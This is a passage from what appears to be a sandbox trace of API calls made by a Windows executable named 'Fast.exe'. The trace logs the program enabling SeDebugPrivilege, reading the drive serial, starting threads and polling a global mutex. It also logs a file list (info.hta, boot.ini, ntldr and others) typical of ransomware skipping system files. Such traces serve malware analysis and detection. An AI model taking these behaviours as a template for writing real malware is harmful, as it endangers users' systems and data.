lpDst=0x88b0e8, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0054.597] GetProcessHeap () returned 0x870000 [0054.598] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b1b8 | out: hHeap=0x870000) returned 1 [0054.598] GetProcessHeap () returned 0x870000 [0054.598] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88afa0 | out: hHeap=0x870000) returned 1 [0054.598] GetProcessHeap () returned 0x870000 [0054.598] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20a) returned 0x88b1b8 [0054.598] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x88b1b8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe")) returned 0x2e [0054.598] GetProcessHeap () returned 0x870000 [0054.598] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b1b8 | out: hHeap=0x870000) returned 1 [0054.598] GetProcessHeap () returned 0x870000 [0054.598] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x24e) returned 0x88b1b8 [0054.598] GetProcessHeap () returned 0x870000 [0054.598] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x88b1b8, Size=0x3cc) returned 0x88b1b8 [0054.599] GetProcessHeap () returned 0x870000 [0054.599] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x9a) returned 0x88afa0 [0054.599] GetProcessHeap () returned 0x870000 [0054.599] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x88afa0, Size=0xac) returned 0x88b590 [0054.599] GetProcessHeap () returned 0x870000 [0054.599] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x6a) returned 0x88afa0 [0054.599] GetProcessHeap () returned 0x870000 [0054.599] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88ab30 | out: hHeap=0x870000) returned 1 [0054.599] GetProcessHeap () returned 0x870000 [0054.599] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88ad48 | out: hHeap=0x870000) returned 1 [0054.599] GetProcessHeap () returned 0x870000 [0054.599] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b048 | out: hHeap=0x870000) returned 1 [0054.599] GetProcessHeap () returned 0x870000 [0054.600] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b0e8 | out: hHeap=0x870000) returned 1 [0054.600] GetProcessHeap () returned 0x870000 [0054.600] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x881670 | out: hHeap=0x870000) returned 1 [0054.600] GetProcessHeap () returned 0x870000 [0054.600] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a6e0 | out: hHeap=0x870000) returned 1 [0054.600] GetProcessHeap () returned 0x870000 [0054.600] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a878 | out: hHeap=0x870000) returned 1 [0054.600] GetProcessHeap () returned 0x870000 [0054.600] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a9a0 | out: hHeap=0x870000) returned 1 [0054.600] GetProcessHeap () returned 0x870000 [0054.600] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x889ec8 [0054.600] GetProcessHeap () returned 0x870000 [0054.600] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x889ef0 [0054.600] GetProcessHeap () returned 0x870000 [0054.600] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x889f18 [0054.601] GetProcessHeap () returned 0x870000 [0054.601] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88b018 [0054.601] GetProcessHeap () returned 0x870000 [0054.601] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b018 | out: hHeap=0x870000) returned 1 [0054.601] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x889ef0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0054.601] GetProcessHeap () returned 0x870000 [0054.601] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889f18 | out: hHeap=0x870000) returned 1 [0054.601] GetProcessHeap () returned 0x870000 [0054.601] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889ec8 | out: hHeap=0x870000) returned 1 [0054.601] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x40f91c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x40f91c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0054.601] GetProcessHeap () returned 0x870000 [0054.602] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x889ef0 | out: hHeap=0x870000) returned 1 [0054.602] GetProcessHeap () returned 0x870000 [0054.602] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x28) returned 0x88b018 [0054.602] GetProcessHeap () returned 0x870000 [0054.602] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x10) returned 0x881670 [0054.602] GetProcessHeap () returned 0x870000 [0054.602] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x190) returned 0x88a6e0 [0054.602] GetProcessHeap () returned 0x870000 [0054.602] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x60) returned 0x88a878 [0054.602] GetProcessHeap () returned 0x870000 [0054.602] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x5a) returned 0x88b048 [0054.602] GetProcessHeap () returned 0x870000 [0054.602] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x88b048, Size=0xb2) returned 0x88b048 [0054.602] GetProcessHeap () returned 0x870000 [0054.603] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x184) returned 0x88a9a0 [0054.603] GetProcessHeap () returned 0x870000 [0054.603] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x10) returned 0x8816b8 [0054.603] GetProcessHeap () returned 0x870000 [0054.603] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20a) returned 0x88ab30 [0054.603] GetProcessHeap () returned 0x870000 [0054.603] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x250) returned 0x88ad48 [0054.603] GetProcessHeap () returned 0x870000 [0054.603] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0xa0) returned 0x88b108 [0054.603] GetProcessHeap () returned 0x870000 [0054.603] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x98) returned 0x88b648 [0054.603] GetProcessHeap () returned 0x870000 [0054.603] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x98) returned 0x88b6e8 [0054.603] GetProcessHeap () returned 0x870000 [0054.604] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88b788 [0054.607] GetProcessHeap () returned 0x870000 [0054.607] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b788 | out: hHeap=0x870000) returned 1 [0054.607] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;jukse.txt", lpDst=0x88b648, nSize=0x4c | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;jukse.txt") returned 0x4c [0054.607] GetProcessHeap () returned 0x870000 [0054.607] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b6e8 | out: hHeap=0x870000) returned 1 [0054.607] GetProcessHeap () returned 0x870000 [0054.607] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b108 | out: hHeap=0x870000) returned 1 [0054.607] GetProcessHeap () returned 0x870000 [0054.608] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x70) returned 0x88b108 [0054.608] GetProcessHeap () returned 0x870000 [0054.608] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x62) returned 0x88b6e8 [0054.608] GetProcessHeap () returned 0x870000 [0054.608] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x62) returned 0x88b758 [0054.608] GetProcessHeap () returned 0x870000 [0054.608] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88b7c8 [0054.608] GetProcessHeap () returned 0x870000 [0054.608] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b7c8 | out: hHeap=0x870000) returned 1 [0054.608] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x88b6e8, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0054.608] GetProcessHeap () returned 0x870000 [0054.608] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b758 | out: hHeap=0x870000) returned 1 [0054.608] GetProcessHeap () returned 0x870000 [0054.608] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x88b6e8, Size=0xc2) returned 0x88b6e8 [0054.608] GetProcessHeap () returned 0x870000 [0054.609] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0xc2) returned 0x88b7b8 [0054.609] GetProcessHeap () returned 0x870000 [0054.609] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88b888 [0054.609] GetProcessHeap () returned 0x870000 [0054.609] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b888 | out: hHeap=0x870000) returned 1 [0054.609] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x88b6e8, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0054.609] GetProcessHeap () returned 0x870000 [0054.609] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b7b8 | out: hHeap=0x870000) returned 1 [0054.609] GetProcessHeap () returned 0x870000 [0054.609] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b108 | out: hHeap=0x870000) returned 1 [0054.609] GetProcessHeap () returned 0x870000 [0054.609] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20a) returned 0x88b7b8 [0054.609] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x88b7b8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe")) returned 0x2e [0054.609] GetProcessHeap () returned 0x870000 [0054.610] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b7b8 | out: hHeap=0x870000) returned 1 [0054.610] GetProcessHeap () returned 0x870000 [0054.610] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x182) returned 0x88b7b8 [0054.610] GetProcessHeap () returned 0x870000 [0054.610] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x24e) returned 0x88b948 [0054.610] GetProcessHeap () returned 0x870000 [0054.610] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x9a) returned 0x88b108 [0054.610] GetProcessHeap () returned 0x870000 [0054.610] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x88b108, Size=0xac) returned 0x88bba0 [0054.610] GetProcessHeap () returned 0x870000 [0054.610] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x6a) returned 0x88b108 [0054.610] GetProcessHeap () returned 0x870000 [0054.610] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88ab30 | out: hHeap=0x870000) returned 1 [0054.610] GetProcessHeap () returned 0x870000 [0054.610] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88ad48 | out: hHeap=0x870000) returned 1 [0054.610] GetProcessHeap () returned 0x870000 [0054.611] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b648 | out: hHeap=0x870000) returned 1 [0054.611] GetProcessHeap () returned 0x870000 [0054.611] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b6e8 | out: hHeap=0x870000) returned 1 [0054.611] GetProcessHeap () returned 0x870000 [0054.611] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x881670 | out: hHeap=0x870000) returned 1 [0054.611] GetProcessHeap () returned 0x870000 [0054.611] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a6e0 | out: hHeap=0x870000) returned 1 [0054.611] GetProcessHeap () returned 0x870000 [0054.611] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a878 | out: hHeap=0x870000) returned 1 [0054.611] GetProcessHeap () returned 0x870000 [0054.611] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a9a0 | out: hHeap=0x870000) returned 1 [0054.611] GetProcessHeap () returned 0x870000 [0054.611] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x14) returned 0x87eb98 [0054.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2d21e5, lpParameter=0x87eb98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa8 [0054.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2d2291, lpParameter=0x40f950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac [0054.617] GetProcessHeap () returned 0x870000 [0054.618] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x14) returned 0x88b668 [0054.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2d2058, lpParameter=0x88b668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb0 [0054.621] GetProcessHeap () returned 0x870000 [0054.621] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x14) returned 0x88b6a8 [0054.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2d196d, lpParameter=0x88b6a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb4 [0054.624] GetProcessHeap () returned 0x870000 [0054.624] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x14) returned 0x88b6e8 [0054.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2d1bbc, lpParameter=0x88b6e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8 [0054.627] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0 [0055.734] WaitForMultipleObjects (nCount=0x4, lpHandles=0x40f9b0*=0xa8, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 4 os_tid = 0x9f4 [0054.628] GetProcessHeap () returned 0x870000 [0054.628] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x440) returned 0x88bc58 [0054.628] GetProcessHeap () returned 0x870000 [0054.629] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x30) returned 0x88b728 [0054.629] GetCurrentProcess () returned 0xffffffff [0054.629] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x1e7fa98 | out: TokenHandle=0x1e7fa98*=0xbc) returned 1 [0054.629] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1e7fa90 | out: lpLuid=0x1e7fa90*(LowPart=0x14, HighPart=0)) returned 1 [0054.673] AdjustTokenPrivileges (in: TokenHandle=0xbc, DisableAllPrivileges=0, NewState=0x1e7fa80*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0054.673] CloseHandle (hObject=0xbc) returned 1 [0054.673] GetProcessHeap () returned 0x870000 [0054.673] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b728 | out: hHeap=0x870000) returned 1 [0054.673] GetProcessHeap () returned 0x870000 [0054.673] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x434) returned 0x8a4578 [0054.673] GetProcessHeap () returned 0x870000 [0054.673] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a4578 | out: hHeap=0x870000) returned 1 [0054.673] GetProcessHeap () returned 0x870000 [0054.674] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88bc58 | out: hHeap=0x870000) returned 1 [0054.674] GetProcessHeap () returned 0x870000 [0054.674] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87eb98 | out: hHeap=0x870000) returned 1 Thread: id = 5 os_tid = 0xa14 [0054.643] GetVersion () returned 0x1db10106 [0054.643] GetCurrentProcess () returned 0xffffffff [0054.643] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x20dfbec | out: TokenHandle=0x20dfbec*=0xfc) returned 1 [0054.644] GetTokenInformation (in: TokenHandle=0xfc, TokenInformationClass=0x14, TokenInformation=0x20dfbe4, TokenInformationLength=0x4, ReturnLength=0x20dfbe8 | out: TokenInformation=0x20dfbe4, ReturnLength=0x20dfbe8) returned 1 [0054.644] CloseHandle (hObject=0xfc) returned 1 [0054.644] GetProcessHeap () returned 0x870000 [0054.644] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x88a210 [0054.644] GetProcessHeap () returned 0x870000 [0054.644] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x88a328 [0054.644] GetProcessHeap () returned 0x870000 [0054.644] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x88a350 [0054.644] GetProcessHeap () returned 0x870000 [0054.644] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88f430 [0054.644] GetProcessHeap () returned 0x870000 [0054.645] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88f430 | out: hHeap=0x870000) returned 1 [0054.645] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x88a328, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0054.645] GetProcessHeap () returned 0x870000 [0054.645] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a350 | out: hHeap=0x870000) returned 1 [0054.645] GetProcessHeap () returned 0x870000 [0054.645] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a210 | out: hHeap=0x870000) returned 1 [0054.645] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0054.646] GetProcessHeap () returned 0x870000 [0054.646] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a328 | out: hHeap=0x870000) returned 1 [0054.646] GetProcessHeap () returned 0x870000 [0054.646] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x883ef8 [0054.646] GetProcessHeap () returned 0x870000 [0054.646] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x883f40 [0054.647] GetProcessHeap () returned 0x870000 [0054.647] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x883f40, Size=0x72) returned 0x87f880 [0054.647] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0xfc [0054.647] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0x0) returned 0x102 [0054.647] CloseHandle (hObject=0xfc) returned 1 [0054.647] GetProcessHeap () returned 0x870000 [0054.647] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x883ef8 | out: hHeap=0x870000) returned 1 [0054.647] GetProcessHeap () returned 0x870000 [0054.647] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87f880 | out: hHeap=0x870000) returned 1 [0054.648] Sleep (dwMilliseconds=0x3e8) [0056.649] GetProcessHeap () returned 0x870000 [0056.650] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6bd0 [0056.650] GetProcessHeap () returned 0x870000 [0056.650] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6cc0 [0056.650] GetProcessHeap () returned 0x870000 [0056.650] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6ce8 [0056.650] GetProcessHeap () returned 0x870000 [0056.650] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa0d0 [0056.650] GetProcessHeap () returned 0x870000 [0056.650] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa0d0 | out: hHeap=0x870000) returned 1 [0056.650] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6cc0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0056.650] GetProcessHeap () returned 0x870000 [0056.650] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6ce8 | out: hHeap=0x870000) returned 1 [0056.650] GetProcessHeap () returned 0x870000 [0056.650] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6bd0 | out: hHeap=0x870000) returned 1 [0056.651] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0056.651] GetProcessHeap () returned 0x870000 [0056.651] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0056.651] GetProcessHeap () returned 0x870000 [0056.651] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842a0 [0056.651] GetProcessHeap () returned 0x870000 [0056.651] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x8842e8 [0056.651] GetProcessHeap () returned 0x870000 [0056.652] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x8842e8, Size=0x72) returned 0x87fd80 [0056.652] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x160 [0056.652] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x0) returned 0x102 [0056.652] CloseHandle (hObject=0x160) returned 1 [0056.652] GetProcessHeap () returned 0x870000 [0056.652] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842a0 | out: hHeap=0x870000) returned 1 [0056.652] GetProcessHeap () returned 0x870000 [0056.652] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0056.652] Sleep (dwMilliseconds=0x3e8) [0057.663] GetProcessHeap () returned 0x870000 [0057.663] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6bd0 [0057.663] GetProcessHeap () returned 0x870000 [0057.663] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6d38 [0057.663] GetProcessHeap () returned 0x870000 [0057.663] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6cc0 [0057.663] GetProcessHeap () returned 0x870000 [0057.663] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa838 [0057.663] GetProcessHeap () returned 0x870000 [0057.663] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa838 | out: hHeap=0x870000) returned 1 [0057.663] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6d38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0057.664] GetProcessHeap () returned 0x870000 [0057.664] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0057.664] GetProcessHeap () returned 0x870000 [0057.664] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6bd0 | out: hHeap=0x870000) returned 1 [0057.664] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0057.664] GetProcessHeap () returned 0x870000 [0057.664] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0057.664] GetProcessHeap () returned 0x870000 [0057.664] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0057.665] GetProcessHeap () returned 0x870000 [0057.665] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0057.665] GetProcessHeap () returned 0x870000 [0057.665] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0057.665] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0057.665] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0057.665] CloseHandle (hObject=0x170) returned 1 [0057.665] GetProcessHeap () returned 0x870000 [0057.665] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0057.665] GetProcessHeap () returned 0x870000 [0057.665] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0057.666] Sleep (dwMilliseconds=0x3e8) [0058.676] GetProcessHeap () returned 0x870000 [0058.676] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6d38 [0058.676] GetProcessHeap () returned 0x870000 [0058.676] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6bd0 [0058.676] GetProcessHeap () returned 0x870000 [0058.676] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6cc0 [0058.676] GetProcessHeap () returned 0x870000 [0058.676] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa838 [0058.677] GetProcessHeap () returned 0x870000 [0058.677] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa838 | out: hHeap=0x870000) returned 1 [0058.677] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6bd0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0058.677] GetProcessHeap () returned 0x870000 [0058.677] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0058.677] GetProcessHeap () returned 0x870000 [0058.677] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0058.677] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0058.678] GetProcessHeap () returned 0x870000 [0058.678] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6bd0 | out: hHeap=0x870000) returned 1 [0058.678] GetProcessHeap () returned 0x870000 [0058.678] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0058.678] GetProcessHeap () returned 0x870000 [0058.678] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0058.678] GetProcessHeap () returned 